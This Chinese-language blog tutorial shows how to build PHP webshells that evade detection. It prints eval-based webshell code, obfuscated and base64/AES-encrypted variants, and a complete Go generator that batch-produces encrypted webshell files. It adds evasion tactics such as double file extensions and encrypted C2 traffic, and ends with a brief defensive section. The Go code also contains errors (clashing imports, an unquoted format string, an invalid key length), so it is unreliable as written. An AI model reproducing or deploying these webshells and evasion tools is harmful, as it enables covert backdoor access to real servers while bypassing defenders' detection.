一、从防御视角看 Webshell 免杀的挑战

黑客示意图

在实战中,防御团队通常会通过 Webshell 的特征来实现检测。例如,查找文件中的敏感关键词(如 evalbase64_decode)、分析文件的行为特征(是否在执行动态代码)或者利用机器学习模型对文件进行分类。然而,这种依赖特征匹配的检测方式往往容易被绕过。攻击者只需稍加改动代码、伪装流量或利用一些反沙盒、反调试技术,就可以让 Webshell 轻松掩盖自己的真实意图。

假设你是一名甲方安全工程师,在日常巡检中发现了一个上传入口漏洞。虽然防护系统已经配置了强力的文件上传策略,但某次模拟攻击演练中,仍然有一个变种 Webshell 成功绕过了检测,甚至在一段时间内没有触发任何告警。问题的本质在于:攻击者已经完全理解了检测逻辑,并对免杀技术进行了一系列深入的改造。

接下来,我们从攻击者视角反推,如何打造一款难以检测的 Webshell,同时在后续演示中揭示防御与检测的关键点。

---

二、免杀 Webshell 的武器化原则

对于一名有经验的攻击者来说,构造免杀 Webshell 并不是简单地修改几处代码,而是需要从以下几方面入手:

  1. 彻底理解目标检测机制:攻击者需要知道防御方的检测规则,包括文件特征、行为分析模型、沙箱环境等。
  2. 多层次的代码混淆:通过字符串加密、动态解密、内存加载等技术隐藏关键函数和敏感代码。
  3. 侵入式协议伪装:利用常见协议(如 HTTP、HTTPS)或加密流量伪装 C2 通信,迷惑网络流量分析工具。
  4. 模块化与分离设计:让 Webshell 的核心功能与其载体分离,使得单一文件无法直接反映其真实意图。

下面,我们基于真实环境,构造一个绕过主流防御机制的 PHP Webshell,并展示其免杀过程。

---

三、构造「不可见」的 Webshell

在这一部分,我们将开发一个简单但难以检测的 PHP Webshell,并利用 Go 工具生成其免杀版本。

1. 基础 Webshell 构造

我们从一个基础的 PHP Webshell 开始:

<pre><code class="language-php">&lt;?php eval($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

这个 Webshell 功能非常简单:接收 POST 请求中的 cmd 参数,并执行其中的代码。显然,这种 Webshell 基本无法绕过主流安全设备,因为其包含了敏感函数 eval,以及直接暴露了核心逻辑。

2. 初步混淆

为了提升免杀效果,我们可以对关键函数进行混淆,例如用变量代替函数名:

<pre><code class="language-php">&lt;?php $func = &#039;e&#039; . &#039;val&#039;; $func($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

这种混淆虽然可以绕过一些简单的正则检测,但面对具有语义分析能力的检测引擎,依然显得稚嫩。

黑客示意图

3. 高级混淆:动态解密

为了进一步提升免杀能力,我们可以将核心代码加密,并在运行时解密执行。以下是加密后的 Webshell 示例:

<pre><code class="language-php">&lt;?php $code = base64_decode(&quot;ZWNobyAiU3VjY2Vzc2Z1bGx5IGhlbGxvIHdvcmxkISI7&quot;); // 加密后的 PHP 代码 eval($code); ?&gt;</code></pre>

攻击者可以将加密过程封装成一个 Go 程序,自动生成不同的变种。

---

四、用 Go 实现 Webshell 的变种生成

接下来,我们用 Go 开发一个工具,将 Webshell 的核心代码自动加密,并生成混淆后的变种。

工具功能:

  1. 自动加密:支持 Base64、AES 等多种加密方式。
  2. 随机变量名:动态生成变量名,避免使用固定值。
  3. 变种生成:支持批量生成多个 Webshell 文件,提升方式多样性。

完整代码如下:

<pre><code class="language-go">package main

黑客示意图

import ( &quot;crypto/aes&quot; &quot;crypto/cipher&quot; &quot;crypto/rand&quot; &quot;encoding/base64&quot; &quot;fmt&quot; &quot;io/ioutil&quot; &quot;math/rand&quot; &quot;os&quot; &quot;time&quot; )

// 随机生成变量名 func randomVarName() string { const letters = &quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot; result := make([]byte, 8) for i := range result { result[i] = letters[rand.Intn(len(letters))] } return string(result) }

// 加密代码 func encryptAES(plainText, key []byte) string { block, err := aes.NewCipher(key) if err != nil { panic(err) }

ciphertext := make([]byte, aes.BlockSize+len(plainText)) iv := ciphertext[:aes.BlockSize] if _, err := rand.Read(iv); err != nil { panic(err) }

stream := cipher.NewCFBEncrypter(block, iv) stream.XORKeyStream(ciphertext[aes.BlockSize:], plainText)

return base64.StdEncoding.EncodeToString(ciphertext) }

黑客示意图

// 生成 Webshell func generateWebshell(payload, key []byte) string { encrypted := encryptAES(payload, key) varName := randomVarName() return fmt.Sprintf(&lt;?php $key = &quot;%s&quot;; $data = base64_decode(&quot;%s&quot;); eval(openssl_decrypt($data, &#039;AES-256-CFB&#039;, $key, OPENSSL_RAW_DATA)); ?&gt;, string(key), encrypted) }

func main() { rand.Seed(time.Now().UnixNano())

if len(os.Args) &lt; 3 { fmt.Println(&quot;Usage: go run generator.go &lt;payload_file&gt; &lt;output_dir&gt;&quot;) return }

payloadFile := os.Args[1] outputDir := os.Args[2]

payload, err := ioutil.ReadFile(payloadFile) if err != nil { panic(err) }

key := []byte(&quot;thisisaverysecretkey!&quot;) // 固定密钥(可以动态生成)

webshell := generateWebshell(payload, key)

outputFile := fmt.Sprintf(&quot;%s/webshell_%d.php&quot;, outputDir, rand.Int()) err = ioutil.WriteFile(outputFile, []byte(webshell), 0644) if err != nil { panic(err) }

fmt.Printf(&quot;Webshell generated: %s\n&quot;, outputFile) }</code></pre>

使用说明:

  1. 将基础 Webshell 代码保存为 payload.php
  2. 编译运行此 Go 程序,生成变种 Webshell:
  3. `bash go run generator.go payload.php /tmp/webshells `

---

五、绕过检测的核心策略

攻击者在实践中会结合多种技术,进一步提升免杀能力。例如:

  1. 分段加载:将核心代码分成多段,通过动态拼接执行。
  2. 文件伪装:将 Webshell 伪装成图片、PDF 等非可执行格式,结合双扩展名(如 image.php.jpg)迷惑上传检测。
  3. 通信加密:在 Webshell 与 C2 服务器间使用加密协议(如 HTTPS)传输数据,规避流量分析。

---

六、防御者的应对之道

尽管攻击技术层出不穷,但从防御角度来看,以下措施可以显著提升检测能力:

  1. 行为分析:结合文件行为与执行特征,而不仅依赖特征匹配。
  2. 流量审计:监控 HTTP 请求中的异常行为,例如长时间无变化的 POST 请求。
  3. 多层防护:在服务器端严格控制上传权限,限制动态代码执行。

---

七、最终感悟

从攻防对抗的视角来看,Webshell 的免杀技术是一场不断升级的博弈。攻击者的目标始终是绕过防御机制,而防御方则需要不断完善自己的检测逻辑。因此,任何针对 Webshell 的研究都不应止步于技术本身,而要站在攻防对抗的全局视角中,寻找更优的解决方案。